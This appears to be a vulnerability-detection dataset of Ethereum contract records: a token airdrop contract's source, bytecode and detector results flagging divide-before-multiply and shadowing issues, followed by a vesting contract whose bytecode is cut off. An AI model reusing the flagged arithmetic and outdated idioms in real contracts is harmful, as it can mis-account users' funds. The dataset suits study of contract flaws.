function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether / 2;
uint256 bonusCond2 = 1 ether;
uint256 bonusCond3 = 3 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 5 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 15 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 15 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 5000e18;
if (Claimed[investor] == false && progress0drop <= target0drop ) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require( msg.value >= requestMinimum );
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if( now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require( msg.value >= requestMinimum );
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
multisig.transfer(msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
|
0x60806040526004361061018b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610195578063095ea7b3146102255780631003e2d21461028a57806318160ddd146102b757806323b872dd146102e257806329dcb0cf146103675780632e1a7d4d14610392578063313ce567146103bf57806342966c68146103ea578063532b581c1461041757806370a082311461044257806374ff2324146104995780637809231c146104c4578063836e81801461051157806383afd6da1461053c578063853828b61461056757806395d89b411461057e5780639b1cbccc1461060e5780639ea407be1461063d578063a9059cbb1461066a578063aa6ca808146106cf578063b449c24d146106d9578063c108d54214610734578063c489744b14610763578063cbdd69b5146107da578063dd62ed3e14610805578063e58fc54c1461087c578063e6a092f5146108d7578063efca2eed14610902578063f2fde38b1461092d578063f3ccb40114610970575b6101936109b5565b005b3480156101a157600080fd5b506101aa610dbc565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ea5780820151818401526020810190506101cf565b50505050905090810190601f1680156102175780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023157600080fd5b50610270600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610df5565b604051808215151515815260200191505060405180910390f35b34801561029657600080fd5b506102b560048036038101908080359060200190929190505050610f83565b005b3480156102c357600080fd5b506102cc61103a565b6040518082815260200191505060405180910390f35b3480156102ee57600080fd5b5061034d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611040565b604051808215151515815260200191505060405180910390f35b34801561037357600080fd5b5061037c611416565b6040518082815260200191505060405180910390f35b34801561039e57600080fd5b506103bd6004803603810190808035906020019092919050505061141c565b005b3480156103cb57600080fd5b506103d46114ea565b6040518082815260200191505060405180910390f35b3480156103f657600080fd5b50610415600480360381019080803590602001909291905050506114ef565b005b34801561042357600080fd5b5061042c6116bb565b6040518082815260200191505060405180910390f35b34801561044e57600080fd5b50610483600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116c1565b6040518082815260200191505060405180910390f35b3480156104a557600080fd5b506104ae61170a565b6040518082815260200191505060405180910390f35b3480156104d057600080fd5b5061050f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611715565b005b34801561051d57600080fd5b5061052661177f565b6040518082815260200191505060405180910390f35b34801561054857600080fd5b50610551611785565b6040518082815260200191505060405180910390f35b34801561057357600080fd5b5061057c61178b565b005b34801561058a57600080fd5b50610593611874565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d35780820151818401526020810190506105b8565b50505050905090810190601f1680156106005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061a57600080fd5b506106236118ad565b604051808215151515815260200191505060405180910390f35b34801561064957600080fd5b5061066860048036038101908080359060200190929190505050611975565b005b34801561067657600080fd5b506106b5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a12565b604051808215151515815260200191505060405180910390f35b6106d76109b5565b005b3480156106e557600080fd5b5061071a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c4d565b604051808215151515815260200191505060405180910390f35b34801561074057600080fd5b50610749611c6d565b604051808215151515815260200191505060405180910390f35b34801561076f57600080fd5b506107c4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c80565b6040518082815260200191505060405180910390f35b3480156107e657600080fd5b506107ef611d6b565b6040518082815260200191505060405180910390f35b34801561081157600080fd5b50610866600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d71565b6040518082815260200191505060405180910390f35b34801561088857600080fd5b506108bd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611df8565b604051808215151515815260200191505060405180910390f35b3480156108e357600080fd5b506108ec61203d565b6040518082815260200191505060405180910390f35b34801561090e57600080fd5b50610917612043565b6040518082815260200191505060405180910390f35b34801561093957600080fd5b5061096e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612049565b005b34801561097c57600080fd5b506109b360048036038101908080359060200190820180359060200191909192939192939080359060200190929190505050612120565b005b600080600080600080600080600d60149054906101000a900460ff161515156109dd57600080fd5b6000975060009650600095506706f05b59d3b200009450670de0b6b3a764000093506729a2241af62c00009250670de0b6b3a7640000610a2834600a546121d590919063ffffffff16565b811515610a3157fe5b049750339150662386f26fc100003410158015610a4f575060055442105b8015610a5c575060075442105b8015610a69575060065442105b15610ae757843410158015610a7d57508334105b15610a9957606460058902811515610a9157fe5b049550610ae2565b833410158015610aa857508234105b15610ac4576064600a8902811515610abc57fe5b049550610ae1565b8234101515610ae0576064600f8902811515610adc57fe5b0495505b5b5b610b71565b662386f26fc100003410158015610aff575060055442105b8015610b0c575060075442115b8015610b19575060065442105b15610b6b57833410158015610b2d57508234105b15610b49576064600a8902811515610b4157fe5b049550610b66565b8234101515610b65576064600f8902811515610b6157fe5b0495505b5b610b70565b600095505b5b85880196506000881415610c8b5769010f0cf064dd59200000905060001515600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515148015610bf05750600b54600c5411155b15610c6f57610bff828261220d565b506001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600c60008154809291906001019190505550610c86565b662386f26fc100003410151515610c8557600080fd5b5b610d20565b600088118015610ca25750662386f26fc100003410155b15610d08576005544210158015610cbb57506007544210155b8015610cc8575060065442105b15610cdd57610cd7828961220d565b50610d03565b8434101515610cf657610cf0828861220d565b50610d02565b610d00828961220d565b505b5b610d1f565b662386f26fc100003410151515610d1e57600080fd5b5b5b600854600954101515610d49576001600d60146101000a81548160ff0219169083151502179055505b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610db1573d6000803e3d6000fd5b505050505050505050565b6040805190810160405280600f81526020017f456c656374726f6e69634d75736963000000000000000000000000000000000081525081565b6000808214158015610e8457506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b15610e925760009050610f7d565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fe157600080fd5b610ff68260085461239990919063ffffffff16565b9050806008819055507f90f1f758f0e2b40929b1fd48df7ebe10afc272a362e1f0d63a90b8b4715d799f826040518082815260200191505060405180910390a15050565b60085481565b600060606004810160003690501015151561105757fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561109357600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156110e157600080fd5b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561116c57600080fd5b6111be83600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061129083600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b590919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061136283600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239990919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b60055481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561147a57600080fd5b819050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156114e5573d6000803e3d6000fd5b505050565b601281565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561154d57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561159b57600080fd5b3390506115f082600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b590919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611648826008546123b590919063ffffffff16565b600881905550611663826009546123b590919063ffffffff16565b6009819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b60065481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b662386f26fc1000081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561177157600080fd5b61177b82826123ce565b5050565b60075481565b600c5481565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117ea57600080fd5b3091508173ffffffffffffffffffffffffffffffffffffffff16319050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561186f573d6000803e3d6000fd5b505050565b6040805190810160405280600381526020017f454d54000000000000000000000000000000000000000000000000000000000081525081565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561190b57600080fd5b600d60149054906101000a900460ff1615151561192757600080fd5b6001600d60146101000a81548160ff0219169083151502179055507f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc60405160405180910390a16001905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119d157600080fd5b80600a819055507ff7729fa834bbef70b6d3257c2317a562aa88b56c81b544814f93dc5963a2c003816040518082815260200191505060405180910390a150565b6000604060048101600036905010151515611a2957fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611a6557600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515611ab357600080fd5b611b0583600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b9a83600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239990919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b60046020528060005260406000206000915054906101000a900460ff1681565b600d60149054906101000a900460ff1681565b60008060008491508173ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611d2357600080fd5b505af1158015611d37573d6000803e3d6000fd5b505050506040513d6020811015611d4d57600080fd5b81019080805190602001909291905050509050809250505092915050565b600a5481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e5957600080fd5b8391508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611ef757600080fd5b505af1158015611f0b573d6000803e3d6000fd5b505050506040513d6020811015611f2157600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611ff957600080fd5b505af115801561200d573d6000803e3d6000fd5b505050506040513d602081101561202357600080fd5b810190808051906020019092919050505092505050919050565b600b5481565b60095481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120a557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151561211d5780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561217e57600080fd5b600090505b838390508110156121cf576121c2848483818110151561219f57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff16836123ce565b8080600101915050612183565b50505050565b6000808314156121e85760009050612207565b81830290508183828115156121f957fe5b0414151561220357fe5b8090505b92915050565b6000600d60149054906101000a900460ff1615151561222b57600080fd5b6122408260095461239990919063ffffffff16565b60098190555061229882600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239990919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a77836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600081830190508281101515156123ac57fe5b80905092915050565b60008282111515156123c357fe5b818303905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561242a57600080fd5b60008111151561243957600080fd5b60085460095410151561244b57600080fd5b61249d81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124f58160095461239990919063ffffffff16565b600981905550600854600954101515612524576001600d60146101000a81548160ff0219169083151502179055505b8173ffffffffffffffffffffffffffffffffffffffff167fada993ad066837289fe186cd37227aa338d27519a8a1547472ecb9831486d27282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808381526020018281526020019250505060405180910390a28173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a723058204b8cf00b6de143283f0710c9df8183ca31b4309b1fdf04680eac13cd779e525f0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 8,024 |
0xd86910f39c7bcbc9205640120e6536ca4ca81e37
|
/**
*Submitted for verification at Etherscan.io on 2021-02-04
*/
// SPDX-License-Identifier: (c) Otsea.fi, 2021
pragma solidity ^0.6.12;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*
* @dev Default OpenZeppelin
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Vesting {
using SafeMath for uint256;
IERC20 public token;
uint256 public totalTokens;
uint256 public releaseStart;
uint256 public releaseEnd;
mapping (address => uint256) public starts;
mapping (address => uint256) public grantedToken;
// this means, released but unclaimed amounts
mapping (address => uint256) public released;
event Claimed(address indexed _user, uint256 _amount, uint256 _timestamp);
event Transfer(address indexed _from, address indexed _to, uint256 _amount, uint256 _timestamp);
// do not input same recipient in the _recipients, it will lead to locked token in this contract
function initialize(
address _token,
uint256 _totalTokens,
uint256 _start,
uint256 _period,
address[] calldata _recipients,
uint256[] calldata _grantedToken
)
public
{
// Added because there's a period of time between approval of tokens and initialization
// where technically anyone can initialize to themselves and steal the approved tokens.
require(msg.sender == 0x1f28eD9D4792a567DaD779235c2b766Ab84D8E33 || msg.sender == 0xc93356BdeaF3cea6284a6cC747fa52dD04Afb2a8, "Sender may not initialize.");
require(releaseEnd == 0, "Contract is already initialized.");
require(_recipients.length == _grantedToken.length, "Array lengths do not match.");
releaseEnd = _start.add(_period);
releaseStart = _start;
token = IERC20(_token);
token.transferFrom(msg.sender, address(this), _totalTokens);
totalTokens = _totalTokens;
uint256 sum = 0;
for(uint256 i = 0; i<_recipients.length; i++) {
starts[_recipients[i]] = releaseStart;
grantedToken[_recipients[i]] = _grantedToken[i];
sum = sum.add(_grantedToken[i]);
}
// We're gonna just set the weight as full tokens. Ensures grantedToken were entered correctly as well.
require(sum == totalTokens, "Weight does not match tokens being distributed.");
}
/**
* @dev User may claim tokens that have vested.
**/
function claim()
public
{
address user = msg.sender;
require(releaseStart <= block.timestamp, "Release has not started");
require(grantedToken[user] > 0 || released[user] > 0, "This contract may only be called by users with a stake.");
uint256 releasing = releasable(user);
// updates the grantedToken
grantedToken[user] = grantedToken[user].sub(releasing);
// claim will claim both released and releasing
uint256 claimAmount = released[user].add(releasing);
// flush the released since released means "unclaimed" amount
released[user] = 0;
// and update the starts
starts[user] = block.timestamp;
token.transfer(user, claimAmount);
emit Claimed(user, claimAmount, block.timestamp);
}
/**
* @dev returns claimable token. buffered(released) token + token released from last update
* @param _user user to check the claimable token
**/
function claimableAmount(address _user) external view returns(uint256) {
return released[_user].add(releasable(_user));
}
/**
* @dev returns the token that can be released from last user update
* @param _user user to check the releasable token
**/
function releasable(address _user) public view returns(uint256) {
if (block.timestamp < releaseStart) return 0;
uint256 applicableTimeStamp = block.timestamp >= releaseEnd ? releaseEnd : block.timestamp;
return grantedToken[_user].mul(applicableTimeStamp.sub(starts[_user])).div(releaseEnd.sub(starts[_user]));
}
/**
* @dev Transfers a sender's weight to another address starting from now.
* @param _to The address to transfer weight to.
* @param _amountInFullTokens The amount of tokens (in 0 decimal format). We will not have fractions of tokens.
**/
function transfer(address _to, uint256 _amountInFullTokens)
external
{
require(_to != msg.sender, "May not transfer to yourself.");
// first, update the released
released[msg.sender] = released[msg.sender].add(releasable(msg.sender));
released[_to] = released[_to].add(releasable(_to));
// then update the grantedToken;
grantedToken[msg.sender] = grantedToken[msg.sender].sub(releasable(msg.sender));
grantedToken[_to] = grantedToken[_to].sub(releasable(_to));
// then update the starts of user
starts[msg.sender] = block.timestamp;
starts[_to] = block.timestamp;
// If trying to transfer too much, transfer full amount.
uint256 amount = _amountInFullTokens.mul(1e18) > grantedToken[msg.sender] ? grantedToken[msg.sender] : _amountInFullTokens.mul(1e18);
// then move _amount
grantedToken[msg.sender] = grantedToken[msg.sender].sub(amount);
grantedToken[_to] = grantedToken[_to].add(amount);
emit Transfer(msg.sender, _to, amount, block.timestamp);
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80639852595c116100715780639852595c14610139578063a3f8eace1461015f578063a9059cbb14610185578063b6c238b5146101b1578063fc0c546a146101d7578063fd536f5d146101fb576100b4565b80634e71d92d146100b9578063766e33f4146100c35780637e1c0c09146100dd5780638033fe49146100e557806386a1da9c146100ed5780638988504914610113575b600080fd5b6100c16102de565b005b6100cb6104f9565b60408051918252519081900360200190f35b6100cb6104ff565b6100cb610505565b6100cb6004803603602081101561010357600080fd5b50356001600160a01b031661050b565b6100cb6004803603602081101561012957600080fd5b50356001600160a01b031661051d565b6100cb6004803603602081101561014f57600080fd5b50356001600160a01b0316610552565b6100cb6004803603602081101561017557600080fd5b50356001600160a01b0316610564565b6100c16004803603604081101561019b57600080fd5b506001600160a01b03813516906020013561060e565b6100cb600480360360208110156101c757600080fd5b50356001600160a01b031661084e565b6101df610860565b604080516001600160a01b039092168252519081900360200190f35b6100c1600480360360c081101561021157600080fd5b6001600160a01b038235169160208101359160408201359160608101359181019060a08101608082013564010000000081111561024d57600080fd5b82018360208201111561025f57600080fd5b8035906020019184602083028401116401000000008311171561028157600080fd5b91939092909160208101903564010000000081111561029f57600080fd5b8201836020820111156102b157600080fd5b803590602001918460208302840111640100000000831117156102d357600080fd5b50909250905061086f565b6002543390421015610337576040805162461bcd60e51b8152602